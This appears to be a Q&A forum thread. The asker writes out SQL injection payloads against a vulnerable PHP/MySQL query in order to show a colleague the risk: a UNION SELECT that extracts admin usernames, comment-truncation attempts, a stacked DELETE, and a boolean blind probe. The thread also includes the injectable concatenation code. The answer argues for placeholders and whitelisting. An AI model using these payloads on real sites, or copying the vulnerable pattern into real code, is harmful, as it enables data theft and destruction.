SQL Injection with MySQL (a fun challenge)

Question

A fellow developer has just introduced an SQL injection vulnerability on a website I maintain, and I want to show how easily it can be exploited; but there are a couple of issues.

Taking the SQL, which is roughly:

SELECT
    c.id,
    c.name,
    c.start
FROM
    course AS c
WHERE
    MONTH(c.start) = $_GET['month']
ORDER BY
    c.start

If I set $_GET['month'] to:

13 UNION SELECT 1, username, 3 FROM admin

That would run the query:

SELECT
    c.id,
    c.name,
    c.start
FROM
    course AS c
WHERE
    MONTH(c.start) = 13 UNION SELECT 1, username, 3 FROM admin
ORDER BY
    c.start

Which would work, if the ORDER BY didn't include the c. table alias. Instead it results in the error:

Table 'c' from one of the SELECTs cannot be used in field list

---

Alias

Adding an c ALIAS to the admin does not make any difference either:

13 UNION SELECT 1, c.username, 3 FROM admin AS c

---

Commenting

I have tried using -- to comment out the ORDER BY, but this does not work because it's on a new line:

13 UNION SELECT 1, c.username, 3 FROM admin AS c --

Likewise /* won't work, because I can't add the final */:

13 UNION SELECT 1, c.username, 3 FROM admin AS c /*

---

Split queries

It also seems that mysqli_prepare() does not like ; anywhere in the query - so a DROP, DELETE, or TRUNCATE would result in an SQL syntax error:

13; DELETE FROM admin;

---

A solution

At the moment the only thing I can think of doing is adding to the WHERE clause, so the attacker can get a yes/no response (some records or no records), like the following - but this is less satisfying than seeing records appear on screen :-)

SELECT
    c.id,
    c.name,
    c.start_estimate
FROM
    thr_course_term AS c
WHERE
    MONTH(c.start_estimate) = 13 OR 1 = (SELECT 1 FROM thr_admin WHERE username LIKE "crai%")
ORDER BY
    c.start_estimate;

---

Source code

The SQL is being run in PHP with mysqli, the rough code being:

<?php

$month = '13 UNION SELECT 1, username, 3 FROM admin'; // from $_GET['month']

$sql = 'SELECT
            c.id,
            c.name,
            c.start
        FROM
            course AS c
        WHERE
            MONTH(c.start) = ' . $month . '
        ORDER BY
            c.start';

$link = mysqli_connect('localhost', 'username', 'password', 'database');

$statement = mysqli_prepare($link, $sql);

if (!$statement) {

    echo $link->error;

} else {

    // Skip the bind_param bit

    $result = $statement->execute();
    $result = $statement->get_result();

    while ($row = mysqli_fetch_assoc($result)) {
        print_r($row);
    }

}

?>

Answer 1

There is no point actually in demonstrating whatever exploit techniques.

On the one hand, the number of possible exploits is infinite. You can flood entire Stack Overflow with examples. However none of them will add anything to protecting techniques. You see, the protecting rules are short and clear. There is no point in memorizing hundreds of possible exploits to protect your site. All you need is to learn a couple of rules:

1. All data literals should be added through placeholders.
2. All other query parts have to be white-listed.

That's all.

On the other hand, to demonstrate the danger, old Bobby Tables' example is enough. If this one didn't convince you, I doubt that any number of other exploit examples will do.